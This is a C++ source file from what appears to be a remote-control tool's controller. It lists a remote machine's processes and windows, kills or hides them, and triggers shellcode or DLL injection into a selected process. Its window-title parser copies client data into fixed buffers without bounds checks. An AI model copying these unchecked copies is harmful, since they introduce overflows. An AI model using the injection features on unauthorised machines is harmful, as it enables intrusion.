Files
SimpleRemoter/server/2015Remote/SystemDlg.cpp

641 lines
21 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// SystemDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "2015RemoteDlg.h" // GetClientEncoding helper
#include "SystemDlg.h"
#include "afxdialogex.h"
// CSystemDlg 对话框
typedef struct ItemData {
DWORD ID;
CString Data[4];
CString GetData(int index)const
{
return Data[index];
}
CString Arch;
} ItemData;
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
CSystemDlg::CSystemDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CSystemDlg::IDD, pParent, IOCPServer, ContextObject, IDI_SERVICE)
{
m_pParent = pParent;
m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
}
CSystemDlg::~CSystemDlg()
{
}
void CSystemDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_SYSTEM, m_ControlList);
}
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_NOTIFY(NM_RCLICK, IDC_LIST_SYSTEM, &CSystemDlg::OnNMRClickListSystem)
ON_NOTIFY(HDN_ITEMCLICK, 0, &CSystemDlg::OnHdnItemclickList)
ON_COMMAND(ID_PLIST_KILL, &CSystemDlg::OnPlistKill)
ON_COMMAND(ID_PLIST_REFRESH, &CSystemDlg::OnPlistRefresh)
ON_COMMAND(ID_WLIST_REFRESH, &CSystemDlg::OnWlistRefresh)
ON_COMMAND(ID_WLIST_CLOSE, &CSystemDlg::OnWlistClose)
ON_COMMAND(ID_WLIST_HIDE, &CSystemDlg::OnWlistHide)
ON_COMMAND(ID_WLIST_RECOVER, &CSystemDlg::OnWlistRecover)
ON_COMMAND(ID_WLIST_MAX, &CSystemDlg::OnWlistMax)
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
END_MESSAGE_MAP()
// CSystemDlg 消息处理程序
BOOL CSystemDlg::OnInitDialog()
{
__super::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
CString str;
m_bHow==TOKEN_PSLIST
? str.FormatL("%s - 进程管理", m_IPAddress)
:str.FormatL("%s - 窗口管理", m_IPAddress);
SetWindowText(str);//设置对话框标题
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);
if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表
m_ControlList.InsertColumnL(0, "映像名称", LVCFMT_LEFT, 180);
m_ControlList.InsertColumnL(1, "PID", LVCFMT_LEFT, 70);
m_ControlList.InsertColumnL(2, "程序路径", LVCFMT_LEFT, 320);
m_ControlList.InsertColumnL(3, "架构", LVCFMT_LEFT, 70);
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中\0\0
} else if (m_bHow==TOKEN_WSLIST) { //窗口管理初始化列表
//初始化 窗口管理的列表
m_ControlList.InsertColumnL(0, "句柄", LVCFMT_LEFT, 80);
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
// 工程是 MBCS但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容,
// 直接用 LVM_SETITEMTEXTW 写宽字符串(无须依赖控件 Unicode 标志)。
ShowWindowsList();
}
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
// 窗口属性结构体
struct WindowAttrs {
char szTitle[1024]; // 窗口标题
char szStatus[32]; // 状态: normal/minimized/maximized/hidden
DWORD dwPid; // 所属进程ID
int nReserved1; // 保留字段1
int nReserved2; // 保留字段2
};
// 从末尾解析窗口属性(支持标题含 | 字符, 兼容老客户端)
BOOL ParseWindowAttrs(const char* szData, WindowAttrs* attrs)
{
if (szData == NULL || attrs == NULL)
return FALSE;
// 初始化默认值
memset(attrs, 0, sizeof(WindowAttrs));
strcpy(attrs->szStatus, "normal");
attrs->dwPid = 0;
attrs->nReserved1 = 0;
attrs->nReserved2 = 0;
char temp[1200];
strcpy(temp, szData);
int len = strlen(temp);
// 从末尾找4个 |
int pipePos[4] = { -1, -1, -1, -1 };
int pipeCount = 0;
for (int i = len - 1; i >= 0 && pipeCount < 4; i--) {
if (temp[i] == '|') {
pipePos[pipeCount++] = i;
}
}
// ========== 兼容老客户端 ==========
if (pipeCount < 4) {
// 老格式:只有标题,没有属性
strcpy(attrs->szTitle, szData);
return TRUE; // 仍返回成功,使用默认值
}
// ========== 兼容结束 ==========
// 新格式:从末尾往前解析
attrs->nReserved2 = atoi(temp + pipePos[0] + 1);
temp[pipePos[0]] = '\0';
attrs->nReserved1 = atoi(temp + pipePos[1] + 1);
temp[pipePos[1]] = '\0';
attrs->dwPid = atol(temp + pipePos[2] + 1);
temp[pipePos[2]] = '\0';
strcpy(attrs->szStatus, temp + pipePos[3] + 1);
temp[pipePos[3]] = '\0';
strcpy(attrs->szTitle, temp);
return TRUE;
}
void CSystemDlg::ShowWindowsList(void)
{
// GetMyBuffer(1) 深拷贝数据,跳过 TOKEN 字节
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
DWORD dwDataLength = tmp.GetBufferLength(); // 使用副本的长度
if (dwDataLength == 0) {
// 缓冲区为空,无数据可显示
DeleteAllItems();
return;
}
char *szBuffer = tmp.c_str();
DWORD dwOffset = 0;
char *szTitle = NULL;
bool isDel=false;
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
// 注意m_ContextObject 是 WSLIST 子连接,其自身 CAPABILITIES 为空;
// helper 内部通过 peer IP 查主连接获取真正的能力位。
UINT cp = GetClientEncoding(m_ContextObject);
DeleteAllItems();
CString str;
int i ;
for ( i = 0; dwOffset < dwDataLength; ++i) {
LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //窗口句柄
szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //窗口标题
WindowAttrs attrs = {};
ParseWindowAttrs(szTitle, &attrs);
str.FormatL("%5u", *lpPID);
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
m_ControlList.InsertItem(i, str); // 句柄
// 按客户端声明的编码解码到宽字符,用 LVM_SETITEMTEXTW 直接写入,
// 绕开 ANSI -> CP_ACP 回转,即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
std::wstring wTitle;
if (attrs.szTitle[0]) {
int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
if (wlen > 0) {
wTitle.resize(wlen - 1);
MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
}
}
LVITEMW lvItemW = {};
lvItemW.mask = LVIF_TEXT;
lvItemW.iItem = i;
lvItemW.iSubItem = 1;
lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
(WPARAM)i, (LPARAM)&lvItemW);
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 (ASCII)
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID (ASCII)
// ItemData 为窗口句柄Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
}
str.FormatL("窗口名称 窗口个数【%d】", i); //修改CtrlList
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_ControlList.SetColumn(1, &lvc);
}
void CSystemDlg::ShowProcessList(void)
{
// GetMyBuffer(1) 深拷贝数据,跳过 TOKEN 字节
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
DWORD dwDataLength = tmp.GetBufferLength(); // 使用副本的长度
if (dwDataLength == 0) {
// 缓冲区为空,无数据可显示
DeleteAllItems();
return;
}
char *szBuffer = tmp.c_str(); //xiaoxi[][][][][]
const char *szExeFile;
const char *szProcessFullPath;
DWORD dwOffset = 0;
CString str;
DeleteAllItems();
//遍历发送来的每一个字符别忘了他的数据结构啊 Id+进程名+0+完整名+0
int i;
for (i = 0; dwOffset < dwDataLength; ++i) {
LPDWORD PID = LPDWORD(szBuffer + dwOffset); //这里得到进程ID
szExeFile = szBuffer + dwOffset + sizeof(DWORD); //进程名就是ID之后的啦
auto arr = StringToVector(szExeFile, ':', 2);
szProcessFullPath = szExeFile + lstrlen(szExeFile) + 1; //完整名就是进程名之后的啦
//他的数据结构的构建很巧妙
m_ControlList.InsertItem(i, arr[0].c_str()); //将得到的数据加入到列表当中
str.FormatL("%5u", *PID);
m_ControlList.SetItemText(i, 1, str);
m_ControlList.SetItemText(i, 2, szProcessFullPath);
m_ControlList.SetItemText(i, 3, arr[1].empty() ? "N/A" : arr[1].c_str());
// ItemData 为进程ID
auto data = new ItemData{ *PID, {arr[0].c_str(), str, szProcessFullPath}, arr[1].c_str() };
m_ControlList.SetItemData(i, DWORD_PTR(data));
dwOffset += sizeof(DWORD) + lstrlen(szExeFile) + lstrlen(szProcessFullPath) + 2; //跳过这个数据结构 进入下一个循环
}
str.FormatL("程序个数 / %d", i);
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_ControlList.SetColumn(2, &lvc); //在列表中显示有多少个进程
}
void CSystemDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DeleteAllItems();
DialogBase::OnClose();
}
// 释放资源以后再清空
void CSystemDlg::DeleteAllItems()
{
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
auto data = (ItemData*)m_ControlList.GetItemData(i);
if (NULL != data) {
delete data;
}
}
m_ControlList.DeleteAllItems();
}
int CALLBACK CSystemDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
int nColumn = pSortInfo->first;
bool bAscending = pSortInfo->second;
// 获取列值
ItemData* context1 = (ItemData*)lParam1;
ItemData* context2 = (ItemData*)lParam2;
CString s1 = context1->GetData(nColumn);
CString s2 = context2->GetData(nColumn);
int result = s1.Compare(s2);
return bAscending ? result : -result;
}
void CSystemDlg::SortByColumn(int nColumn)
{
static int m_nSortColumn = 0;
static bool m_bSortAscending = false;
if (nColumn == m_nSortColumn) {
// 如果点击的是同一列,切换排序顺序
m_bSortAscending = !m_bSortAscending;
} else {
// 否则,切换到新列并设置为升序
m_nSortColumn = nColumn;
m_bSortAscending = true;
}
// 创建排序信息
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
}
void CSystemDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
int nColumn = pNMHeader->iItem; // 获取点击的列索引
SortByColumn(nColumn); // 调用排序函数
*pResult = 0;
}
void CSystemDlg::OnNMRClickListSystem(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
CMenu Menu;
if (m_bHow==TOKEN_PSLIST) { //进程管理初始化列表
Menu.LoadMenu(IDR_PROCESS_LIST);
} else if (m_bHow==TOKEN_WSLIST) {
Menu.LoadMenu(IDR_WINDOW_LIST);
}
TranslateMenu(&Menu);
CMenu* SubMenu = Menu.GetSubMenu(0);
CPoint Point;
GetCursorPos(&Point);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
}
void CSystemDlg::OnPlistKill()
{
CListCtrl *ListCtrl = NULL;
if (m_ControlList.IsWindowVisible())
ListCtrl = &m_ControlList;
else
return;
//[KILL][ID][ID][iD][ID]
//非配缓冲区
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (ListCtrl->GetSelectedCount() * 4));//1.exe 4 ID Handle
//加入结束进程的数据头
szBuffer[0] = COMMAND_KILLPROCESS;
//显示警告信息
CString csTips = _TR("警告: 终止进程会导致不希望发生的结果,\n包括数据丢失和系统不稳定。在被终止前,\n进程将没有机会保存其状态和数据。");
char *szTips = (char*)(LPCSTR)csTips;
CString str;
if (ListCtrl->GetSelectedCount() > 1) {
str.FormatL("%s确实\n想终止这%d项进程吗?", szTips, ListCtrl->GetSelectedCount());
} else {
str.FormatL("%s确实\n想终止该项进程吗?", szTips);
}
if (MessageBoxAPI_L(m_hWnd, str, "进程结束警告", MB_YESNO | MB_ICONQUESTION) == IDNO) {
LocalFree(szBuffer);
return;
}
DWORD dwOffset = 1;
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
//得到要结束哪个进程
while(Pos) {
int nItem = ListCtrl->GetNextSelectedItem(Pos);
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
if (!data) continue;
DWORD dwProcessID = data->ID;
memcpy(szBuffer + dwOffset, &dwProcessID, sizeof(DWORD)); //sdkfj101112
dwOffset += sizeof(DWORD);
}
//发送数据到被控端在被控端中查找COMMAND_KILLPROCESS这个数据头
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
Sleep(100);
OnPlistRefresh();
}
VOID CSystemDlg::OnPlistRefresh()
{
if (m_ControlList.IsWindowVisible()) {
DeleteAllItems();
GetProcessList();
// 不要在这里调用 ShowProcessList()
// 数据是异步返回的,由 OnReceiveComplete() 处理
}
}
VOID CSystemDlg::GetProcessList(void)
{
BYTE bToken = COMMAND_PSLIST;
m_ContextObject->Send2Client(&bToken, 1);
}
void CSystemDlg::OnWlistRefresh()
{
GetWindowsList();
}
void CSystemDlg::GetWindowsList(void)
{
BYTE bToken = COMMAND_WSLIST;
m_ContextObject->Send2Client(&bToken, 1);
}
void CSystemDlg::OnReceiveComplete(void)
{
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_PSLIST: {
ShowProcessList();
break;
}
case TOKEN_WSLIST: {
ShowWindowsList();
break;
}
default:
// 传输发生异常数据
break;
}
}
void CSystemDlg::OnWlistClose()
{
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_ControlList;
int nItem = pListCtrl->GetSelectionMark();
if (nItem>=0) {
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
if (!data) return;
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=CMD_WINDOW_CLOSE; //注意这个就是我们的数据头
DWORD hwnd = data->ID; //得到窗口的句柄一同发送 4 djfkdfj dkfjf 4
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //1 4
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWlistHide()
{
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_ControlList;
int nItem = pListCtrl->GetSelectionMark();
if (nItem>=0) {
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
if (!data) return;
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]=CMD_WINDOW_TEST; //窗口处理数据头
DWORD hwnd = data->ID; //得到窗口的句柄一同发送
pListCtrl->SetItemText(nItem,2,"hidden"); //注意这时将列表中的显示状态为"隐藏"
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD)); //得到窗口的句柄一同发送
DWORD dHow=SW_HIDE; //窗口处理参数 0
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWlistRecover()
{
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_ControlList;
int nItem = pListCtrl->GetSelectionMark();
if (nItem>=0) {
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
if (!data) return;
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]= CMD_WINDOW_TEST;
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"normal");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_NORMAL;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWlistMax()
{
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_ControlList;
int nItem = pListCtrl->GetSelectionMark();
if (nItem>=0) {
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
if (!data) return;
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]= CMD_WINDOW_TEST;
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"maximized");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MAXIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnWlistMin()
{
BYTE lpMsgBuf[20];
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_ControlList;
int nItem = pListCtrl->GetSelectionMark();
if (nItem>=0) {
auto data = (ItemData*)pListCtrl->GetItemData(nItem);
if (!data) return;
ZeroMemory(lpMsgBuf,20);
lpMsgBuf[0]= CMD_WINDOW_TEST;
DWORD hwnd = data->ID;
pListCtrl->SetItemText(nItem,2,"minimized");
memcpy(lpMsgBuf+1,&hwnd,sizeof(DWORD));
DWORD dHow=SW_MINIMIZE;
memcpy(lpMsgBuf+1+sizeof(hwnd),&dHow,sizeof(DWORD));
m_ContextObject->Send2Client(lpMsgBuf, sizeof(lpMsgBuf));
}
}
void CSystemDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建
// 计算新位置和大小
CRect rc;
m_ControlList.GetWindowRect(&rc);
ScreenToClient(&rc);
// 重新设置控件大小
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
}
void CSystemDlg::OnPlistInject()
{
CListCtrl* ListCtrl = NULL;
if (m_ControlList.IsWindowVisible())
ListCtrl = &m_ControlList;
else
return;
if (ListCtrl->GetSelectedCount() != 1)
MessageBoxAPI_L(m_hWnd, "只能同时向一个进程进行代码注入!", "提示", MB_ICONINFORMATION);
if (MessageBoxAPI_L(m_hWnd, "确定要向目标进程 (仅限64位) 进行代码注入吗?\n此操作可能被安全软件阻止,或导致进程崩溃!",
"警告", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 1, dwProcessID = 0;
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
if (Pos) {
int nItem = ListCtrl->GetNextSelectedItem(Pos);
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
if (!data) return;
dwProcessID = data->ID;
dwOffset += sizeof(DWORD);
}
ASSERT(m_pParent);
m_pParent->PostMessageA(WM_INJECT_SHELLCODE, (WPARAM)new std::string(m_ContextObject->GetPeerName()), dwProcessID);
}
void CSystemDlg::OnPlistAntiBlackScreen()
{
CListCtrl* ListCtrl = NULL;
if (m_ControlList.IsWindowVisible())
ListCtrl = &m_ControlList;
else
return;
if (ListCtrl->GetSelectedCount() != 1)
MessageBoxAPI_L(m_hWnd, "只能同时向一个进程进行反黑屏操作!", "提示", MB_ICONINFORMATION);
if (MessageBoxAPI_L(m_hWnd, "确定要向目标进程进行反黑屏吗?\n请确保目标进程、DLL及被控端架构务必相同!",
"警告", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 1, dwProcessID = 0;
POSITION Pos = ListCtrl->GetFirstSelectedItemPosition();
CString arch;
if (Pos) {
int nItem = ListCtrl->GetNextSelectedItem(Pos);
auto data = (ItemData*)ListCtrl->GetItemData(nItem);
if (!data) return;
dwProcessID = data->ID;
arch = data->Arch;
dwOffset += sizeof(DWORD);
}
ASSERT(m_pParent);
char *arg = new char[300]();
memcpy(arg, m_ContextObject->GetPeerName().c_str(), m_ContextObject->GetPeerName().length());
memcpy(arg + 256, arch, arch.GetLength());
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
}